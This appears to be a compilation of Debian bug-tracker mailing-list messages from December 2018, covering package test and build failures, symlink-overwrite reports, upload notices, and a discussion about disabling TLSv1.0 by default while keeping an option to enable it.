Bug#916334: r-cran-lwgeom: autopkgtest regression
Source: r-cran-lwgeom
Version: 0.1-5+dfsg-1
Severity: serious
X-Debbugs-CC: debian...@lists.debian.org
User: debian...@lists.debian.org
Usertags: regression
Hi Maintainer
Since the upload of 0.1-5+dfsg-1, r-cran-lwgeom has been failing its
own autopkgtests [1] with the following error:
> test_check("lwgeom")
-- 1. Failure: Prints Points (@test-as_text.R#6) --
st_asewkt(pt, 3) not equal to "SRID=4326;POINT(1 2.3)".
1/1 mismatches
x[1]: "SRID=4326;POINT(1 2.303)"
y[1]: "SRID=4326;POINT(1 2.3)"
-- 2. Failure: Prints Points (@test-as_text.R#7) --
st_astext(pt, 3, EWKT = FALSE) not equal to "POINT(1 2.3)".
1/1 mismatches
x[1]: "POINT(1 2.303)"
y[1]: "POINT(1 2.3)"
-- 3. Failure: Prints Points (@test-as_text.R#8) --
st_astext(pt, 4, EWKT = FALSE) not equal to "POINT(1 2.303)".
1/1 mismatches
x[1]: "POINT(1.0002 2.303)"
y[1]: "POINT(1 2.303)"
Reading layer `nc.gpkg' from data source
`/usr/lib/R/site-library/sf/gpkg/nc.gpkg' using driver `GPKG'
Simple feature collection with 100 features and 14 fields
geometry type: MULTIPOLYGON
dimension: XY
bbox: xmin: -84.32385 ymin: 33.88199 xmax: -75.45698 ymax: 36.58965
epsg (SRID):4267
proj4string:+proj=longlat +datum=NAD27 +no_defs
== testthat results ===
OK: 57 SKIPPED: 2 FAILED: 3
1. Failure: Prints Points (@test-as_text.R#6)
2. Failure: Prints Points (@test-as_text.R#7)
3. Failure: Prints Points (@test-as_text.R#8)
Error: testthat unit tests failed
Execution halted
Regards
Graham
[1] https://ci.debian.net/packages/r/r-cran-lwgeom/unstable/amd64/
Bug#916309: marked as done (python{,3}-psycopg2-dbg: unhandled symlink to directory conversion: /usr/share/doc/PACKAGE)
Your message dated Thu, 13 Dec 2018 06:34:31 +
with message-id
and subject line Bug#916309: fixed in psycopg2 2.7.6.1-3
has caused the Debian Bug report #916309,
regarding python{,3}-psycopg2-dbg: unhandled symlink to directory conversion:
/usr/share/doc/PACKAGE
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
916309: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916309
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: python-psycopg2-dbg,python3-psycopg2-dbg
Version: 2.7.6.1-2
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts
Hi,
an upgrade test with piuparts revealed that your package installs files
over existing symlinks and possibly overwrites files owned by other
packages. This usually means an old version of the package shipped a
symlink but that was later replaced by a real (and non-empty)
directory. This kind of overwriting another package's files cannot be
detected by dpkg.
This was observed on the following upgrade paths:
testing -> sid
For /usr/share/doc/PACKAGE this may not be problematic as long as both
packages are installed, ship byte-for-byte identical files and are
upgraded in lockstep. But once one of the involved packages gets
removed, the other one will lose its documentation files, too,
including the copyright file, which is a violation of Policy 12.5:
https://www.debian.org/doc/debian-policy/ch-docs.html#copyright-information
For other overwritten locations anything interesting may happen.
Note that dpkg intentionally does not replace directories with symlinks
and vice versa, you need the maintainer scripts to do this.
See in particular the end of point 4 in
https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#details-of-unpack-phase-of-installation-or-upgrade
It is recommended to use the dpkg-maintscript-helper commands
'dir_to_symlink' and 'symlink_to_dir' (available since dpkg 1.17.14)
to perform the conversion, ideally using d/$PACKAGE.maintscript.
See dpkg-maintscript-helper(1) and dh_installdeb(1) for details.
>From the attached log (scroll to the bottom...):
0m29.9s ERROR: FAIL: silently overwrites files via directory symlinks:
/usr/share/doc/python-psycopg2-dbg/changelog.Debian.gz (python-psycopg2-dbg)
!= /usr/share/doc/python-psycopg2/changelog.Debian.gz (python-psycopg2)
/usr/share/doc/python-psycopg2-dbg -> python-psycopg2
/usr/share/doc/python-psycopg2-dbg/copyright (python-psycopg2-dbg) !=
/usr/share/doc/python-psycopg2/copyright (python-psycopg2)
/usr/share/doc/python-psycopg2-dbg -> python-psycopg2
0m40.0s ERROR: FAIL: silently overwrites files via directory symlinks:
/usr/share/doc/python3-psycopg2-dbg/changelog.Debian.gz
(python3-psycopg2-dbg) != /usr/share/doc/python3-psycopg2/changelog.Debian.gz
(python3-psycopg2)
/usr/share/doc/python3-psycopg2-dbg -> python3-psycopg2
/usr/share/doc/python3-psycopg2-dbg/copyright (python3-psycopg2-dbg) !=
/usr/share/doc/python3-psycopg2/copyright (python3-psycopg2)
/usr/share/doc/python3-psycopg2-dbg -> python3-psycopg2
cheers,
Andreas
python-psycopg2-dbg_2.7.6.1-2.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: psycopg2
Source-Version: 2.7.6.1-3
We believe that the bug you reported is fixed in the latest version of
psycopg2, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 916...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Scott Kitterman (supplier of updated psycopg2 package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
Format: 1.8
Date: Wed, 12 Dec 2018 23:06:21 -0500
Source: psycopg2
Binary: python-psycopg2 python-psycopg2-dbg python3-psycopg2
python3-psycopg2-dbg python-psycopg2-doc
Architecture: source amd64 all
Version: 2.7.6.1-3
Distribution: unstable
Urgency: medium
Maintainer: Debian Python Modules Team
Changed-By: Scott Kitterman
Description:
python-psycopg2 - Python module for PostgreSQL
python-psycopg2-dbg - Python module for PostgreSQL (debug extension)
python-psycopg2-doc - Python module for PostgreSQL (documentation package)
python3-psycopg2 - Python 3 module for PostgreSQL
Bug#916309: Bug #916309 in psycopg2 marked as pending
Control: tag -1 pending Hello, Bug #916309 in psycopg2 reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/python-team/modules/psycopg2/commit/7ecfc023bc5417b8586a40f207230b467499d4e8 Restore pre-2.7.6.1-1 dbg package doc symlinks that were inadvertently dropped when debian/rules was refactored (Closes: #916309) (this message was generated automatically) -- Greetings https://bugs.debian.org/916309
Processed: Bug #916309 in psycopg2 marked as pending
Processing control commands:
> tag -1 pending
Bug #916309 [python-psycopg2-dbg,python3-psycopg2-dbg] python{,3}-psycopg2-dbg:
unhandled symlink to directory conversion: /usr/share/doc/PACKAGE
Added tag(s) pending.
--
916309: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916309
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#914733: marked as done (civicrm-common: Depends: php-psr-log (< 1.1~~) but 1.1.0-1 is to be installed)
Your message dated Thu, 13 Dec 2018 05:34:49 + with message-id and subject line Bug#914733: fixed in civicrm 5.8.0+dfsg-1 has caused the Debian Bug report #914733, regarding civicrm-common: Depends: php-psr-log (< 1.1~~) but 1.1.0-1 is to be installed to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 914733: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=914733 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: civicrm-common Version: 5.6.0+dfsg-1 Severity: serious The following packages have unmet dependencies: civicrm-common : Depends: php-psr-log (< 1.1~~) but 1.1.0-1 is to be installed The package is binary-all, so needs a sourceful upload. --- End Message --- --- Begin Message --- Source: civicrm Source-Version: 5.8.0+dfsg-1 We believe that the bug you reported is fixed in the latest version of civicrm, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 914...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Dmitry Smirnov (supplier of updated civicrm package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Thu, 13 Dec 2018 12:57:10 +1100 Source: civicrm Binary: civicrm-common civicrm-l10n wordpress-civicrm Architecture: source all Version: 5.8.0+dfsg-1 Distribution: unstable Urgency: medium Maintainer: Dmitry Smirnov Changed-By: Dmitry Smirnov Description: civicrm-common - CiviCRM common files civicrm-l10n - CiviCRM country and language data wordpress-civicrm - CiviCRM plugin for WordPress Closes: 914733 Changes: civicrm (5.8.0+dfsg-1) unstable; urgency=medium . * New upstream release [December 2018]. * Re-build for "php-psr-log" transition (Closes: #914733). * Standards-Version: 4.2.1. Checksums-Sha1: 15fea62ef30ea9bb4c8d3c706fd6078a7c53bc10 3133 civicrm_5.8.0+dfsg-1.dsc dfee1f56a7f853e023a9a424eb9e0f32555fcd25 8034856 civicrm_5.8.0+dfsg.orig-l10n.tar.xz 305cf47cf2eb1d0b41b1c0996abce3fe075bd642 51464 civicrm_5.8.0+dfsg.orig-wordpress.tar.xz f7f1be48c7953cd9407fc96eeb32fa40ce8d3c37 9563824 civicrm_5.8.0+dfsg.orig.tar.xz d41c45e9941f57514447b6b54f942ed3cfdb15d9 41984 civicrm_5.8.0+dfsg-1.debian.tar.xz d42bf920407255ded88bb48b176b7015bea4588b 7874500 civicrm-common_5.8.0+dfsg-1_all.deb 13445895b860e7b4b0e300832a80e3e330d7b15e 8327560 civicrm-l10n_5.8.0+dfsg-1_all.deb e516d65d7997d0c6aa503a9c3a629f9bf60c1902 8600 civicrm_5.8.0+dfsg-1_amd64.buildinfo 3762b06fcfcce24fea5f348cf5063de55ff9980b 752348 wordpress-civicrm_5.8.0+dfsg-1_all.deb Checksums-Sha256: db25596f3181198e026baa58137b69dce384d6549aebe7f72afd89f6e0651715 3133 civicrm_5.8.0+dfsg-1.dsc d609b53d23bdee73dbc66a1ddc9a17a40f34abaa8585d6c8bb9822349c47ee30 8034856 civicrm_5.8.0+dfsg.orig-l10n.tar.xz 950834d64ae72c9097a49e079adeeeb4300eb35c25d688bf063029361bae4569 51464 civicrm_5.8.0+dfsg.orig-wordpress.tar.xz 0535c45180d0264ab91df4eaba5e0d72dd837148157379a5c2ba653810565c35 9563824 civicrm_5.8.0+dfsg.orig.tar.xz 4152d41790183217c047cb7e23b419aa462fadcf52cb511cbf184f403042079d 41984 civicrm_5.8.0+dfsg-1.debian.tar.xz 9c2eeae18d2b2563c8e6cb0c6fb5b1cc78bdb9a439b5ed349fe2107e8e001cbd 7874500 civicrm-common_5.8.0+dfsg-1_all.deb 05295710ea371c8030f49b42778921a7a3f98eed113cf8add3f4f594cf425b72 8327560 civicrm-l10n_5.8.0+dfsg-1_all.deb dca6764cd5371573857e3c6a87933783d0850243bd73ef4161cc17bee9b90e60 8600 civicrm_5.8.0+dfsg-1_amd64.buildinfo 6e7e4013da000d30a18c033f734a7950c803428f31ef4ce5853bd14bb1bc0553 752348 wordpress-civicrm_5.8.0+dfsg-1_all.deb Files: eb980b6ddf84d23b500266cd3d999dc0 3133 web optional civicrm_5.8.0+dfsg-1.dsc 6075bc3128d3e043c4b002fbbfa286d4 8034856 web optional civicrm_5.8.0+dfsg.orig-l10n.tar.xz a59f2adbc813e100a90e4602574ce3db 51464 web optional civicrm_5.8.0+dfsg.orig-wordpress.tar.xz 9fbc678dddffa3929bdde948ba2624a8 9563824 web optional civicrm_5.8.0+dfsg.orig.tar.xz e7c68c8ef4bb59e67d78087c4a8a27ce 41984 web optional civicrm_5.8.0+dfsg-1.debian.tar.xz 9090319d31dd42748c8d3954f7cea4ae 7874500 web optional civicrm-common_5.8.0+dfsg-1_all.deb 0108d901f5163f9ca7099f206e64f1ff 8327560 localization optional civicrm-l10n_5.8.0+dfsg-1_all.deb
Bug#916324: i3pystatus: Incomplete debian/copyright?
Source: i3pystatus Version: 3.35~git20180925.a586a50-1 Severity: serious Justication: Policy 12.5 X-Debbugs-CC: Esteban Bosse , ftpmas...@debian.org Hi, I just ACCEPTed i3pystatus from NEW but noticed it was missing attribution in debian/copyright for at least the BSD licnese in i3pystatus/scratchpad.py. This is in no way exhaustive so please check over the entire package carefully and address these on your next upload. Regards, -- ,''`. : :' : Chris Lamb `. `'` la...@debian.org / chris-lamb.co.uk `-
Bug#916000: marked as done (ncbi-blast+: FTBFS - Makefile.flat: No such file or directory)
Your message dated Thu, 13 Dec 2018 03:49:33 + with message-id and subject line Bug#916000: fixed in ncbi-blast+ 2.7.1-2 has caused the Debian Bug report #916000, regarding ncbi-blast+: FTBFS - Makefile.flat: No such file or directory to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916000: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916000 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: ncbi-blast+ Version: 2.7.1-1 Severity: serious Justification: fails to build from source Hello, ncbi-blast+ FTBFS on current sid: LIBRARIES: build as dynamic by default FEATURES: GCC MT LFS DLL DLL_BUILD unix WinMain Linux PACKAGES: enabled: Iconv Z BZ2 PCRE MBEDTLS GMP GMP NETTLE NETTLE GNUTLS Boost.Spirit Boost.Test.Included LMDB LocalLMDB disabled: UUID FUSE LIBUNWIND LocalZ LocalBZ2 LZO LocalPCRE GCRYPT OPENSSL KRB5 CURL Sybase DBLib FreeTDS MySQL BerkeleyDB BerkeleyDB++ ODBC PYTHON PYTHON25 PYTHON26 PYTHON27 PYTHON3 PERL Boost.Filesystem Boost.Iostreams Boost.Program-Options Boost.Regex Boost.System Boost.Test Boost.Thread C-Toolkit OpenGL MESA GLUT GLEW wxWidgets wx2.8 Fast-CGI LocalSSS LocalMSGMAIL2 SSSUTILS LocalNCBILS NCBILS2 SSSDB SP ORBacus ICU EXPAT SABLOT LIBXML LIBXSLT LIBEXSLT Xerces Xalan Zorba SQLITE3 SQLITE3ASYNC VDB OECHEM SGE MUPARSER HDF5 JPEG PNG TIFF GIF UNGIF XPM FreeType FTGL MAGIC MIMETIC GSOAP AVRO Cereal SASL2 MONGODB MONGODB3 GMOCK LAPACK LIBUV LIBSSH2 CASSANDRA LIBXLSXWRITER GRPC PROJECTS: enabled: cgi serial objects app algo disabled: local_lbsm connext ncbi_crypt bdb dbapi ctools gui gbench Tools / flags / paths: /tmp/MODGNU/ncbi-blast+-2.7.1/c++/BUILD/build/Makefile.mk Configuration header: /tmp/MODGNU/ncbi-blast+-2.7.1/c++/BUILD/inc/ncbiconf_unix.h To build everything: cd /tmp/MODGNU/ncbi-blast+-2.7.1/c++/BUILD/build && /usr/bin/make all_r or simply run /usr/bin/make in the current directory *** CONFIGURATION SUCCESSFUL *** make[1]: Leaving directory '/tmp/MODGNU/ncbi-blast+-2.7.1' debian/rules override_dh_auto_build-arch make[1]: Entering directory '/tmp/MODGNU/ncbi-blast+-2.7.1' cd c++/BUILD/build && \ make -j5 -f Makefile.flat all_projects="algo/blast/ app/ objmgr/ objtools/align_format/ objtools/blast/" make[2]: Entering directory '/tmp/MODGNU/ncbi-blast+-2.7.1/c++/BUILD/build' make[2]: warning: -j5 forced in submake: resetting jobserver mode. make[2]: Makefile.flat: No such file or directory make[2]: *** No rule to make target 'Makefile.flat'. Stop. make[2]: Leaving directory '/tmp/MODGNU/ncbi-blast+-2.7.1/c++/BUILD/build' make[1]: *** [debian/rules:56: override_dh_auto_build-arch] Error 2 make[1]: Leaving directory '/tmp/MODGNU/ncbi-blast+-2.7.1' make: *** [debian/rules:129: build-arch] Error 2 --- End Message --- --- Begin Message --- Source: ncbi-blast+ Source-Version: 2.7.1-2 We believe that the bug you reported is fixed in the latest version of ncbi-blast+, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 916...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Aaron M. Ucko (supplier of updated ncbi-blast+ package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Wed, 12 Dec 2018 22:24:45 -0500 Source: ncbi-blast+ Binary: ncbi-blast+ ncbi-blast+-legacy blast2 Architecture: source Version: 2.7.1-2 Distribution: unstable Urgency: medium Maintainer: Debian Med Packaging Team Changed-By: Aaron M. Ucko Description: blast2 - transitional dummy package to ncbi-blast+-legacy ncbi-blast+ - next generation suite of BLAST sequence search tools ncbi-blast+-legacy - NCBI Blast legacy call script Closes: 916000 Changes: ncbi-blast+ (2.7.1-2) unstable; urgency=medium . [ David Miguel Susano Pinto ] * d/control: fix Vcs-* links to point to salsa . [ Aaron M. Ucko ] * d/control: Standards-Version: 4.2.1 (already compliant). * d/patches/support_boost_1_67: New patch to extend Boost support (used for uninstalled tests) through at least version 1.67, per upstream (https://www.ncbi.nlm.nih.gov/viewvc/v1/trunk/c%2B%2B) revisions 79910, 79926, 79928, and 79929. (Closes: #916000.)
Bug#915893: marked as done (astroquery FTBFS: test failures)
Your message dated Wed, 12 Dec 2018 23:49:23 +
with message-id
and subject line Bug#915893: fixed in astroquery 0.3.8+dfsg-5
has caused the Debian Bug report #915893,
regarding astroquery FTBFS: test failures
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
915893: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=915893
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: astroquery
Version: 0.3.8+dfsg-4
Severity: serious
Tags: ftbfs
Some recent change in unstable makes astroquery FTBFS:
https://tests.reproducible-builds.org/debian/history/astroquery.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/astroquery.html
...
=== FAILURES ===
test_prepend_docstr[dummyfunc1-
Blah Blah Blah
Returns
---
Nothing!
Examples
Nada
]
func =
out = '\nBlah Blah Blah\n\nReturns\n---\nNothing!\n\n
Examples\n\nNada\n'
doc = '\nBlah Blah Blah\n\nReturns\n---\nnothing\n\n
Examples\n\nno_examples_at_all\n'
@pytest.mark.parametrize("func, out", [(dummyfunc1, docstr4_out1),
(dummyfunc2, docstr4_out2)])
def test_prepend_docstr(func, out, doc=docstr4):
fn = prepend_docstr_nosections(doc, sections=['Returns',
'Examples'])(func)
> assert fn.__doc__ == textwrap.dedent(out)
E AssertionError: assert '\nBlah Blah ...-\nNada\n' == '\nBlah Blah
B...-\nNada\n'
E -
E - Blah Blah Blah
E -
E - Blah Blah Blah
E -
E - Blah Blah Blah
E - ...
E
E ...Full output truncated (32 lines hidden), use '-vv' to show
../../../astroquery/utils/tests/test_utils.py:371: AssertionError
test_prepend_docstr[dummyfunc2-
Blah Blah Blah
Returns
---
Nothing!
]
func =
out = '\nBlah Blah Blah\n\nReturns\n---\nNothing!\n'
doc = '\nBlah Blah Blah\n\nReturns\n---\nnothing\n\n
Examples\n\nno_examples_at_all\n'
@pytest.mark.parametrize("func, out", [(dummyfunc1, docstr4_out1),
(dummyfunc2, docstr4_out2)])
def test_prepend_docstr(func, out, doc=docstr4):
fn = prepend_docstr_nosections(doc, sections=['Returns',
'Examples'])(func)
> assert fn.__doc__ == textwrap.dedent(out)
E AssertionError: assert '\nBlah Blah ...-\nNothing!\n' == '\nBlah Blah
B...-\nNothing!\n'
E -
E - Blah Blah Blah
E -
E - Blah Blah Blah
E -
E - Blah Blah Blah
E - ...
E
E ...Full output truncated (28 lines hidden), use '-vv' to show
../../../astroquery/utils/tests/test_utils.py:371: AssertionError
=== 2 failed, 620 passed, 351 skipped, 2 xfailed in 1126.46 seconds
E: pybuild pybuild:338: test: plugin distutils failed with: exit code=1: cd
/build/1st/astroquery-0.3.8+dfsg/.pybuild/cpython2_2.7_astroquery/build;
python2.7 -m pytest ../../../astroquery
dh_auto_test: pybuild --test -i python{version} -p 2.7 returned exit code 13
make: *** [debian/rules:14: build] Error 25
--- End Message ---
--- Begin Message ---
Source: astroquery
Source-Version: 0.3.8+dfsg-5
We believe that the bug you reported is fixed in the latest version of
astroquery, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 915...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Vincent Prat (supplier of updated astroquery package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512
Format: 1.8
Date: Fri, 30 Nov 2018 15:33:30 +0100
Source: astroquery
Binary: python3-astroquery python-astroquery-doc
Architecture: source
Version: 0.3.8+dfsg-5
Distribution: unstable
Urgency: medium
Maintainer: Debian Astro Team
Changed-By: Vincent Prat
Description:
python-astroquery-doc - Python online astronomical database querying
(documentation)
python3-astroquery - Python online astronomical database querying (Python 3)
Closes: 915893
Changes:
Bug#907518: [RFC] Disable TLSv1.0 by default, but allow enabling it
Alan DeKok wrote: On Dec 12, 2018, at 3:48 PM, Andrej Shadura wrote: On 05/12/2018 09:52, Andrej Shadura wrote: On 05/12/2018 00:09, Jouni Malinen wrote: Right, so what would you recommend for me to do in the meanwhile? Hardcode a minimal version just for wpa-supplicant to TLSv1.0? What about ciphers? Anything else? I would really appreciate some opinion from Jouni or other people on this list. My $0.02 is to have an "allow TLSv1.0" configuration option, but have it disabled by default. It's what we do in FreeRADIUS. It's arguably bad in minor ways to allow TLSv1.0. But preventing people from getting online is likely worse. I'll +1 this. It shits me no end that java and browsers have dropped SSLv2/3+TLSv1.0 in the name of security with no option to turn it on. I have some embedded hardware that is only accessible over VPN on a dedicated network that I have to run an old OS with old Java and old browsers to access. Sure it's a major security issue, but hell why can we not have options to force it on (even if the code is built to turn it back off after a set amount of time) for those that actually know what they are doing...? I'll go get coffee now... -- Michelle Sullivan http://www.mhix.org/
Bug#916052: alsa-oss FTBFS with glibc 2.28
Hi, On Wed, Dec 12, 2018 at 02:37:43PM +0100, Elimar Riesebieter wrote: > Control: forwarded -1 alsa-de...@alsa-project.org > > > Hi, > > could you please investigate? It seems as alsa-oss doesn't built > with glibc 2.28. > > Thanks in advance > Elimar > -- > Learned men are the cisterns of knowledge, > not the fountainheads ;-) > Date: Sun, 09 Dec 2018 19:10:03 +0200 > From: Adrian Bunk > To: Debian Bug Tracking System > Subject: Bug#916052: alsa-oss FTBFS with glibc 2.28 > X-Mailer: reportbug 7.5.0 > > Source: alsa-oss > Version: 1.1.6-1 > Severity: serious > Tags: ftbfs > > https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/alsa-oss.html > > ... > In file included from alsa-oss.c:736: > stdioemu.c:40:10: fatal error: libio.h: No such file or directory > #include > ^ > compilation terminated. > make[2]: *** [Makefile:517: alsa-oss.lo] Error 1 > In glibc upstream, libio/libio.h had been deprecated for applications and became internal header in its v2.28 release. We can see below message in its release note[1]. ``` * The nonstandard header files and <_G_config.h> are no longer installed. Software that was using either header should be updated to use standard interfaces instead. ``` I posted PR to fix the FTBFS into github.com repository[1]. (In last month we introduced github service to our workload for reviewing/merging tasks just for userspace stuffs.) In next release (v1.1.7), the fix will be merged and released. [1] https://www.sourceware.org/ml/libc-alpha/2018-08/msg3.html [2] https://github.com/alsa-project/alsa-oss/pull/1 Thanks Takashi Sakamoto
Bug#907518: [RFC] Disable TLSv1.0 by default, but allow enabling it
On Dec 12, 2018, at 3:48 PM, Andrej Shadura wrote: > > On 05/12/2018 09:52, Andrej Shadura wrote: >> On 05/12/2018 00:09, Jouni Malinen wrote: >> Right, so what would you recommend for me to do in the meanwhile? >> Hardcode a minimal version just for wpa-supplicant to TLSv1.0? What >> about ciphers? Anything else? > > I would really appreciate some opinion from Jouni or other people on > this list. My $0.02 is to have an "allow TLSv1.0" configuration option, but have it disabled by default. It's what we do in FreeRADIUS. It's arguably bad in minor ways to allow TLSv1.0. But preventing people from getting online is likely worse. Alan DeKok.
Bug#914034: bug in Net::SSLeay?
On Wed, 12 Dec 2018 16:34:34 +0100, cyri...@bollu.be wrote: > I've investigated a little bit this problem, Great, thank you! > and I wonder if this could be > caused by a bug in Net::SSLeay 1.85 which seems to be resolved in version > 1.86_06 (not yet released on CPAN) via > https://github.com/radiator-software/p5-net-ssleay/pull/56/commits/f67e75f2b50fa72da9a5111abc13b2bd06d33650. [..] > This is where the code "hangs", and $read_func is actually Net::SSLeay::read And what happens with the above mentioned patch applied? (No worries if you didn't get to checking it yet, I hope someone will. Nice finding in any case! Cheers, gregor -- .''`. https://info.comodo.priv.at -- Debian Developer https://www.debian.org : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D 85FA BB3A 6801 8649 AA06 `. `' Member VIBE!AT & SPI Inc. -- Supporter Free Software Foundation Europe `- NP: Status Quo: Burning Bridges signature.asc Description: Digital Signature
Processed: found 839925 in 2.6.0+ds-4, user debian...@lists.debian.org, usertagging 913447, affects 904396 ...
Processing commands for cont...@bugs.debian.org:
> found 839925 2.6.0+ds-4
Bug #839925 [metaphlan2-data] metaphlan2-data: postinst deletes shipped file:
/var/lib/metaphlan2-data/markers.fasta
Marked as found in versions metaphlan2-data/2.6.0+ds-4.
> user debian...@lists.debian.org
Setting user to debian...@lists.debian.org (was a...@debian.org).
> usertags 913447 piuparts
There were no usertags set.
Usertags are now: piuparts.
> affects 904396 + foma-bin
Bug #904396 {Done: Kartik Mistry } [foma] foma: fails to
upgrade from 'sid' - trying to overwrite /usr/bin/cgflookup
Added indication that 904396 affects foma-bin
> affects 915574 + libsimbody-dev
Bug #915574 [libsimbody3.6] libsimbody3.6: missing Breaks+Replaces:
libsimbody3.5v5
Added indication that 915574 affects libsimbody-dev
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
839925: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=839925
904396: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=904396
913447: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=913447
915574: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=915574
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Processed: found 916310 in 4:4.6.6-5
Processing commands for cont...@bugs.debian.org: > found 916310 4:4.6.6-5 Bug #916310 [phpmyadmin] 4.6 should not be shipped in a stable release Marked as found in versions phpmyadmin/4:4.6.6-5. > thanks Stopping processing here. Please contact me if you need assistance. -- 916310: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916310 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#916310: 4.6 should not be shipped in a stable release
Package: phpmyadmin Severity: serious phpmyadmin hasn't seen an upload since almost 1.5 years and the current 4.6.x packafe isn't covered by upstream support (only 4.8). This isn't an acceptable state for inclusion in buster. (This isn't resolved by a one time upload rebasing to 4.8.x, whoever picks up the maintenance should also be available for updating it in buster when it's a stable release) Cheers, Moritz
Bug#916309: python{,3}-psycopg2-dbg: unhandled symlink to directory conversion: /usr/share/doc/PACKAGE
Package: python-psycopg2-dbg,python3-psycopg2-dbg Version: 2.7.6.1-2 Severity: serious User: debian...@lists.debian.org Usertags: piuparts Hi, an upgrade test with piuparts revealed that your package installs files over existing symlinks and possibly overwrites files owned by other packages. This usually means an old version of the package shipped a symlink but that was later replaced by a real (and non-empty) directory. This kind of overwriting another package's files cannot be detected by dpkg. This was observed on the following upgrade paths: testing -> sid For /usr/share/doc/PACKAGE this may not be problematic as long as both packages are installed, ship byte-for-byte identical files and are upgraded in lockstep. But once one of the involved packages gets removed, the other one will lose its documentation files, too, including the copyright file, which is a violation of Policy 12.5: https://www.debian.org/doc/debian-policy/ch-docs.html#copyright-information For other overwritten locations anything interesting may happen. Note that dpkg intentionally does not replace directories with symlinks and vice versa, you need the maintainer scripts to do this. See in particular the end of point 4 in https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#details-of-unpack-phase-of-installation-or-upgrade It is recommended to use the dpkg-maintscript-helper commands 'dir_to_symlink' and 'symlink_to_dir' (available since dpkg 1.17.14) to perform the conversion, ideally using d/$PACKAGE.maintscript. See dpkg-maintscript-helper(1) and dh_installdeb(1) for details. >From the attached log (scroll to the bottom...): 0m29.9s ERROR: FAIL: silently overwrites files via directory symlinks: /usr/share/doc/python-psycopg2-dbg/changelog.Debian.gz (python-psycopg2-dbg) != /usr/share/doc/python-psycopg2/changelog.Debian.gz (python-psycopg2) /usr/share/doc/python-psycopg2-dbg -> python-psycopg2 /usr/share/doc/python-psycopg2-dbg/copyright (python-psycopg2-dbg) != /usr/share/doc/python-psycopg2/copyright (python-psycopg2) /usr/share/doc/python-psycopg2-dbg -> python-psycopg2 0m40.0s ERROR: FAIL: silently overwrites files via directory symlinks: /usr/share/doc/python3-psycopg2-dbg/changelog.Debian.gz (python3-psycopg2-dbg) != /usr/share/doc/python3-psycopg2/changelog.Debian.gz (python3-psycopg2) /usr/share/doc/python3-psycopg2-dbg -> python3-psycopg2 